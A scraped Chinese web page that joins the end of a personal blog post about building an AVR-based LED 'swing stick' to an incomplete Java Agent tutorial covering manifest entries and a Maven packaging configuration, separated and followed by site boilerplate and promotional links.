我沒有仔細看過別人的搖搖棒設計,在第二版的設計、裝配、編程過程中甚至沒有以“搖搖棒”為關鍵字搜索過,一方面因為網上大多都是我不會的51,另一方面我不喜歡讀別人的單片機代碼,這與51的擴展語法脫不了干係,更重要的是我覺得那些都是上個世代的代碼——我的第一版搖搖棒的程序竟然是用C++14寫的!更誇張的是,回調用的是std::vector<std::function<void()>>,後來還逐漸演化為C#中event的類似物。事實上,AVR工具鏈並沒有C++的標準庫,這兩個類模板是我自己實現的。

那時年幼無知,不懂得謙虛,包括對人與對單片機。

 

文章寫完了。除了前言和後記差強人意以外,中間的技術介紹完全就是半吊子——有所涉及,卻無法深入。譬如LED的電路,我本應詳細介紹595與PWM及其背後的思想;又譬如周期檢測,我本應帶領讀者一步一步實現這個算法。所以我只能更改本文的目標,把完整清晰地介紹搖搖棒下調為僅供讀者觀賞(如果你有意深入了解我的搖搖棒,可以後台聯繫我),甚至連這個小目標都達不到。

或許搖搖棒的材料更適合用於講座或視頻,文字這一形式對表達有所限制,然而高手不應該被表達形式限制,所以歸根結底是我太菜了。

 

不知怎的,完成了碼量是前一版幾倍的項目外加一篇博客,收穫感甚至比不上許久以前就着別人的博客實現出一個std::function。可能是這個項目對於目前的我過於簡單,這當然是件值得欣喜的事;或者,

是因為高考臨近了吧。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

Java Agent(上)

1、java agent是什麼?

—》對用戶透明,不侵入用戶業務代碼。讓java虛擬機加載agent jar

2、java agent有什麼用?

—>應用場景例如:調用鏈追蹤項目,在用戶無感知的情況下,記錄日誌。目前業內使用該技術的有,SkyWalking,Pinpoint(這個監控的粒度更小)

-各個 Java IDE 的調試功能,例如 eclipse、IntelliJ ;

-熱部署功能,例如 JRebel、XRebel、 spring-loaded;

-各種線上診斷工具,例如 Btrace、Greys,還有阿里的 Arthas;

-各種性能分析工具,例如 Visual VM、JConsole 等

3、java agent的實現原理?

https://zhuanlan.zhihu.com/p/147375268

4、 入門案例

4.1、 如何製造自己第一個java agent jar包

4.1.1、 第一步:我們需要一個插件來幫助我們生成帶特定格式的MAINIFEST.MF的jar

4.1.2、 第二步:在啟動項目的時候,在jvm參數中添加 -javaagent: *\ving-agent-0.0.1-SNAPSHOT.jar (在jvm上先加載agent包)

(偷偷地問)特定格式的MAINIFEST.MF是怎樣的?需要包括下面的內容

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: cn.think.in.java.clazz.loader.asm.agent.PreMainTraceAgent

(再偷偷地問),難度每次都讓我手動去弄這個文件,我覺得很麻煩呀,有沒一個工具能幫我們將agent項目打包成包含MAINIFEST.MF的jar?
—–》對,你猜對了,真的有這個工具。那就是maven插件。(說到打包,肯定要想到maven或者gradle了吧)

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>2.2</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Project-name>${project.name}</Project-name>
                            <Project-version>${project.version}</Project-version>
                            <Premain-Class>com.tuling.agent.Agent</Premain-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            <Boot-Class-Path>javassist-3.18.1-GA.jar</Boot-Class-Path>
                        </manifestEntries>
                    </archive>
                    <skip>true</skip>
                </configuration>
            </plugin>

插件

打包之後

測試

問題二:如果有一個類已經被虛擬機加載了,那麼我們的agent包裏面的邏輯就不能加載這個類。但是我就是想把這類替換掉,怎麼辦呢?(熱更新,虛擬機不停的情況下,替換成用戶最新的代碼)

插件

agent代碼的修改

重新打包

測試

問題三:
當JVM已裝置某個類,但是我們想重新走一次premain方法,我們怎樣做呢?
插件

修改agent代碼

打包

測試

思考

看到這裏,細心的朋友,可能會帶有疑問,我在實踐的時候,發現這個類的字節碼的生成並不簡單,如果讓我自己去手動去生成那就很麻煩呀?(麻煩–》複雜度高—》容易出錯—-》上線容易出問題—》那就直接不考慮該技術)
—-》為了解決這個問題,java-ssist就出現了。關於java-ssist,請點擊。

https://www.cnblogs.com/vingLiu/p/13193517.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案